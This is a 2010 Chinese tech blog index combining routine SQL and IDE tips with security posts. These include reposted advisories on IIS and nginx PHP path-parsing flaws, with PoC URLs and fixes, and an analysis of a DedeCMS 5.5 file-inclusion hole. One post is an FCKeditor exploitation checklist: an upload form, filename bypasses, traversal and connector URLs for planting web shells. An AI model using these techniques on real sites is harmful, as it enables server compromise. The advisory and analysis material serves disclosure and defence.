RSS

DELPHI+SQLITE实现自定义公式

0 Comments | This entry was posted on Jul 03 2010

把前两天的门业自动计算软件想法进行了实例化,用的DELPHI,数据库采用的是SQLITE...
发几张图晒一下,可以通过自定义公式算出需要的值,然后给出对应的图片,打印出结果,测试一段时间才知道稳定性,感觉SQLITE好像有些地方并不完善,可能PHP+SQLITE的尝试会拖后....这次只是算帮朋友,价格太低,唉....
偶的个人信息用黑了...

oracle top N

0 Comments | This entry was posted on May 24 2010

来源:http://huibin.javaeye.com/blog/419780

1.在ORACLE中实现SELECT TOP N
由于ORACLE不支持SELECT TOP语句,所以在ORACLE中经常是用ORDER BY跟ROWNUM的组合来实现SELECT TOP N的查询。

简单地说,实现方法如下所示:

SELECT 列名1...列名n FROM

(SELECT 列名1...列名n FROM 表名 ORDER BY 列名1...列名n)

WHERE ROWNUM < = N(抽出记录数)

ORDER BY ROWNUM ASC

下面举个例子简单说明一下。

顾客表customer(id,name)有如下数据:

ID NAME

01 first

02 Second

03 third

04 forth

05 fifth

06 sixth

07 seventh

08 eighth

09 ninth

10 tenth

11 last

则按NAME的字母顺抽出前三个顾客的SQL语句如下所示:

SELECT * FROM

(SELECT * FROM CUSTOMER ORDER BY NAME)

WHERE ROWNUM <= 3

ORDER BY ROWNUM ASC

输出结果为:

ID NAME

08 eighth

05 fifth

01 first
Read more »

IIS源码泄露及文件类型解析错误

2 Comments | This entry was posted on May 21 2010

文章来源:http://www.80sec.com/iis-cgifastcgi-security-hol.html

漏洞介绍:IIS是微软推出的一款webserver,使用较为广泛,在支持asp/asp.net的同时还可以较好的支持PHP等其他语言的运行。但是80sec发现在IIS的较高版本中存在一个比较严重的安全问题,在按照网络上提供的默认配置情况下可能导致服务器泄露服务器端脚本源码,也可能错误的将任何类型的文件以PHP的方式进行解析,使得恶意的攻击者可能攻陷支持PHP的IIS服务器,特别是虚拟主机用户可能受的影响较大。

漏洞分析:
IIS支持以CGI的方式运行PHP,但是此种模式下,IIS处理请求的时候可能导致一些同80sec提到的nginx安全漏洞一样的问题,任何用户可以远程将任何类型的文件以PHP的方式去解析,你可以通过查看Phpinfo中对php的支持方式,其中如果为CGI/FAST-CGI就可能存在这个问题。

黑盒访问

http://www.80sec.com/robots.txt/1.php

查看文件是否存在和返回的HTTP头就可以知道是否存在此漏洞。

同时,如果服务器支持了PHP,但应用中使用的是asp就可以通过如下方式来直接查看服务端asp源码

http://www.80sec.com/some.asp/1.php

漏洞厂商:http://www.microsoft.com

解决方案:

我们已经尝试联系官方,但是此前你可以通过以下的方式来减少损失

关闭cgi.fix_pathinfo为0

nginx文件类型错误解析漏洞

0 Comments | This entry was posted on May 21 2010

文章来源:http://www.80sec.com/nginx-securit.html

漏洞介绍:nginx是一款高性能的web服务器,使用非常广泛,其不仅经常被用作反向代理,也可以非常好的支持PHP的运行。80sec发现其中存在一个较为严重的安全问题,默认情况下可能导致服务器错误的将任何类型的文件以PHP的方式进行解析,这将导致严重的安全问题,使得恶意的攻击者可能攻陷支持php的nginx服务器。

漏洞分析:nginx默认以cgi的方式支持php的运行,譬如在配置文件当中可以以

1
2
3
4
5
6
7
location ~ \.php$ {
root html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
include fastcgi_params;
}

的方式支持对php的解析,location对请求进行选择的时候会使用URI环境变量进行选择,其中传递到后端Fastcgi的关键变量 SCRIPT_FILENAME由nginx生成的$fastcgi_script_name决定,而通过分析可以看到$fastcgi_script_name是直接由URI环境变量控制的,这里就是产生问题的点。而为了较好的支持PATH_INFO的提取,在PHP 的配置选项里存在cgi.fix_pathinfo选项,其目的是为了从SCRIPT_FILENAME里取出真正的脚本名。
那么假设存在一个http://www.80sec.com/80sec.jpg,我们以如下的方式去访问

http://www.80sec.com/80sec.jpg/80sec.php

将会得到一个URI

/80sec.jpg/80sec.php

经过location指令,该请求将会交给后端的fastcgi处理,nginx为其设置环境变量SCRIPT_FILENAME,内容为

/scripts/80sec.jpg/80sec.php

而在其他的webserver如lighttpd当中,我们发现其中的SCRIPT_FILENAME被正确的设置为

/scripts/80sec.jpg

所以不存在此问题。
后端的fastcgi在接受到该选项时,会根据fix_pathinfo配置决定是否对SCRIPT_FILENAME进行额外的处理,一般情况下如果不对fix_pathinfo进行设置将影响使用PATH_INFO进行路由选择的应用,所以该选项一般配置开启。Php通过该选项之后将查找其中真正的脚本文件名字,查找的方式也是查看文件是否存在,这个时候将分离出SCRIPT_FILENAME和PATH_INFO分别为

/scripts/80sec.jpg和80sec.php

最后,以/scripts/80sec.jpg作为此次请求需要执行的脚本,攻击者就可以实现让nginx以php来解析任何类型的文件了。

POC: 访问一个nginx来支持php的站点,在一个任何资源的文件如robots.txt后面加上/80sec.php,这个时候你可以看到如下的区别:

访问http://www.80sec.com/robots.txt

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Thu, 20 May 2010 10:05:30 GMT
Content-Type: text/plain
Content-Length: 18
Last-Modified: Thu, 20 May 2010 06:26:34 GMT
Connection: keep-alive
Keep-Alive: timeout=20
Accept-Ranges: bytes

访问访问http://www.80sec.com/robots.txt/80sec.php

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Thu, 20 May 2010 10:06:49 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=20
X-Powered-By: PHP/5.2.6

其中的Content-Type的变化说明了后端负责解析的变化,该站点就可能存在漏洞。

漏洞厂商:http://www.nginx.org

解决方案:

我们已经尝试联系官方,但是此前你可以通过以下的方式来减少损失

关闭cgi.fix_pathinfo为0

或者

1
2
3
if ( $fastcgi_script_name ~ \..*\/.*php ) {
return 403;
}

mssql批量替换整个数据库

0 Comments | This entry was posted on May 16 2010
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
declare @Str1 varchar(8000)
SET @Str1='参数1'
declare @Str2 varchar(8000)
SET @Str2='参数2'
 
 
SET nocount ON
 
 
declare @tableName nvarchar(100),@columnName nvarchar(100),@tbID int,@iRow int,@iResult int
declare @sql nvarchar(500)
 
 
SET @iResult=0
declare cur cursor FOR
SELECT name,id FROM sysobjects WHERE xtype='U'
 
 
open cur
fetch next FROM cur INTO @tableName,@tbID
 
 
while @@fetch_status=0
begin
declare cur1 cursor FOR
        --xtype in (231,167,239,175,99) 为char,varchar,nchar,nvarchar,ntext类型
        SELECT name FROM syscolumns WHERE xtype IN (231,167,239,175,99) AND id=@tbID
open cur1
fetch next FROM cur1 INTO @columnName
while @@fetch_status=0
begin
      SET @sql='update [' + @tableName + '] set ['+ @columnName +']= replace(cast(['+@columnName+'] as varchar(8000)),'''+@Str1+''','''+@Str2+''') where ['+@columnName+'] like ''%'+@Str1+'%''' 
      --update tablename set fieldA=replace(cast(fieldA as varchar(8000)) ,'aa','bb')这样的语句。
      exec sp_executesql @sql     
      SET @iRow=@@rowcount
      SET @iResult=@iResult+@iRow
      IF @iRow>0
      begin
print '表:'+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'条记录;'
      end     
      fetch next FROM cur1 INTO @columnName
 
 
 
end
close cur1
deallocate cur1
 
 
fetch next FROM cur INTO @tableName,@tbID
end
print '数据库共有'+convert(varchar(10),@iResult)+'条记录被更新!!!'
 
 
close cur
deallocate cur
SET nocount off

一个正则表达式的看法

1 Comment | This entry was posted on May 15 2010

作者:st0p
转载请注明出处:http://www.st0p.org

下午和kindle聊天的时候,他让我看一个正则,问我知不知道其中?:的作用,以偶半瓶水的正则功力,不知道杂解释给他听了,单个一个还好理解,一起就不明白了,起码我是没用过..查了下资料,说说我的看法..

原正则的出现是为了实现apache上传目录无执行权限,不过大家知道在 windows下对于文件名是不区分大小写的,但在*unx下就不同了,其中st0p.php和st0p.Php是两个不同的文件,所以此正则(?i:.php)出现

1
2
3
4
5
6
<directory "/var/www/upload">
<filesmatch "(?i:.php)">
Order Allow,Deny
Deny from all
</filesmatch>
</directory>

kindle说是参考http://perldoc.perl.org/perlre.html#Extended-Patterns的内容进行写的,具体的内容大家自己看,我们说一下关于此表达式的部分..

我们找到?:相关的部分,其用法有两种(?:pattern)和(?imsx-imsx:pattern)
我们需要用的是后者,前者的话是没法区分大小写的.而后者的用法就是(?标志修饰符:格式)
其中原文中有一句话是Any letters between ? and : act as flags modifiers as with (?imsx-imsx).
这句话就说明了imsx-imsx的作用,标志修饰符
我们看一下刚才出现的正则(?i:.php)
?的作用是在默认的贪婪模式下尽可能多的匹配所搜索的字符串,当该字符紧跟在任何一个其他限制符 (*, +, ?, {n}, {n,}, {n,m}) 后面时,匹配模式是非贪婪的。非贪婪模式尽可能少的匹配所搜索的字符串,例如,对于字符串 "oooo",'o+?' 将匹配单个 "o",而 'o+' 将匹配所有 'o'。

Read more »

ACCESS 外链文件

0 Comments | This entry was posted on Apr 18 2010
1
2
3
4
5
6
7
8
9
10
11
--从Excel中获取数据
SELECT * FROM [Excel 8.0;Database=D:\Test.xls].[Sheet1$]
 
--生成Excel数据
SELECT * INTO [Excel 8.0;Database=D:\Test1.xls].Sheet1 FROM 表名
 
--从txt文件中获取数据
SELECT * FROM [text;database=d:\;hdr=no].test.txt
 
--查询别的MDB文件
SELECT * FROM 表名 IN 'd:\test.mdb'

Fckeditor漏洞利用方法总结

0 Comments | This entry was posted on Apr 17 2010

来源:http://huairen.me/archives/369.html

查看编辑器版本
FCKeditor/_whatsnew.html
—————————————————————————————————————————————————————————————

2. Version 2.2 版本
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
—————————————————————————————————————————————————————————————

3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。

1
2
3
4
5
<form id=”frmUpload” enctype=”multipart/form-data”
action=”http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media” method=”post”>Upload a new file:<br>
<input type=”file” name=”NewFile” size=”50″><br>
<input id=”btnUpload” type=”submit” value=”Upload”>
</form>

—————————————————————————————————————————————————————————————

4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
4.1:提交shell.php+空格绕过
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
—————————————————————————————————————————————————————————————

5. 突破建立文件夹
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
—————————————————————————————————————————————————————————————

6. FCKeditor 中test 文件的上传地址
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
—————————————————————————————————————————————————————————————

7.常用上传地址
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
JSP 版:
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
—————————————————————————————————————————————————————————————

8.其他上传地址
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
一般很多站点都已删除_samples 目录,可以试试。
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
—————————————————————————————————————————————————————————————

9.列目录漏洞也可助找上传地址
Version 2.4.1 测试通过
修改CurrentFolder 参数使用 ../../来进入不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
根据返回的XML 信息可以查看网站所有的目录。
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
也可以直接浏览盘符:
JSP 版本:
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
—————————————————————————————————————————————————————————————

10.爆路径漏洞
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
—————————————————————————————————————————————————————————————

11. FCKeditor 被动限制策略所导致的过滤不严问题
影响版本: FCKeditor x.x <= FCKeditor v2.4.3
脆弱描述:
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
而在apache 下,因为”Apache 文件名解析缺陷漏洞”也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
—————————————————————————————————————————————————————————————

12.最古老的漏洞,Type文件没有限制!
我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!

zend studio 7.1.2 ubuntu下按钮失效的解决方法

0 Comments | This entry was posted on Apr 04 2010

作者:st0p
转载请注明出处http://www.st0p.org

在ubuntu 下zend studio 7.1.2按钮失效,只能回车的解决方法如下。
我的zend studio装在/home/st0p/Zend/ZendStudio-7.1.2(请根据情况修改用户名或你的安装路径),这个路径等下我们要用到
进入/home/st0p/Zend/ZendStudio-7.1.2目录
新建文件ZendStudio_Fix,内容如下

1
2
3
#!/bin/bash
export GDK_NATIVE_WINDOWS=true
/home/st0p/Zend/ZendStudio-7.1.2/ZendStudio

然后在终端下进入/home/st0p/Zend/ZendStudio-7.1.2目录,运行sudo chmod +x ZendStudio_Fix

在桌面上建立启动器
名称为:Zend Studio - 7.1.2
图标为:/home/st0p/Zend/ZendStudio-7.1.2/icon.xpm
命令为:home/st0p/Zend/ZendStudio-7.1.2/ZendStudio_Fix

分析DEDECMS 5.5 datalistcp.class.php 包含

0 Comments | This entry was posted on Apr 03 2010

作者:st0p
转载请注明出处 http://www.st0p.org

老早就看到有人发的洞,一直想过写分析来着,最近一直呆在UBUNTU下安装东西。。老忘。。。
有时有些朋友加我,教他找洞。。。这个好似是个累活,而且运气占很大一部分。。。所以我还是尽量帮分析过程发出来吧,也方便我自己学习。
具体的EXP,请看:http://www.st0p.org/blog/archives/dedecms-5-5-datalistcp-class-php-contains-exp.html

以前呢,DEDECMS会把出错的SQL信息,写进mysql_error_trace.php,后来被大牛们爆出来了。就改名为mysql_error_trace.inc了。。。
没想到这次又被包含了。。。看来记录SQL信息也不是啥好事。。。

这个EXP的原理呢,是通过构造特殊的请求给plus/digg_ajax.php来达到写入我们的语句到mysql_error_trace.inc,当然可以满足我们这一步写入到mysql_error_trace.inc的文件还有不少。。不过想要执行他就不可能了。。然后这次报出的洞呢就是运气很好才能碰到的。。
关键代码存在于

/include/datalistcp.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
...
$codefile = (isset($needCode) ? $needCode : $cfg_soft_lang);
 
//通过isset函数检查$needCode是否已配置,如已配置则结果为$needCode,否则结果为$cfg_soft_lang
//当我们伪造结果为aa/../../../data/mysql_error_trace时
 
if(file_exists(DEDEINC.'/code/datalist.'.$codefile.'.inc'))
 
{
 
	require_once(DEDEINC.'/code/datalist.'.$codefile.'.inc');
 //后缀是.inc
}
//检查文件是否存在,存在则包含。我们通过../成功跳转到到data目录,包含我们刚才构造过的mysql_error_trace.inc
//成功运行我们mysql_error_trace.inc在构造的语句。。。
...

郁闷,前几次想写分析的时候官方还没补呢。。刚去官方看了下通过正则进行了修补

1
2
3
4
5
6
7
8
9
10
11
$codefile = (isset($needCode) ? $needCode : $cfg_soft_lang);
 
$codefile = preg_replace("/[\w-]/", '', $codefile);
 //通过正则过滤了。。。
if(file_exists(DEDEINC.'/code/datalist.'.$codefile.'.inc'))
 
{
 
	require_once(DEDEINC.'/code/datalist.'.$codefile.'.inc');
 
}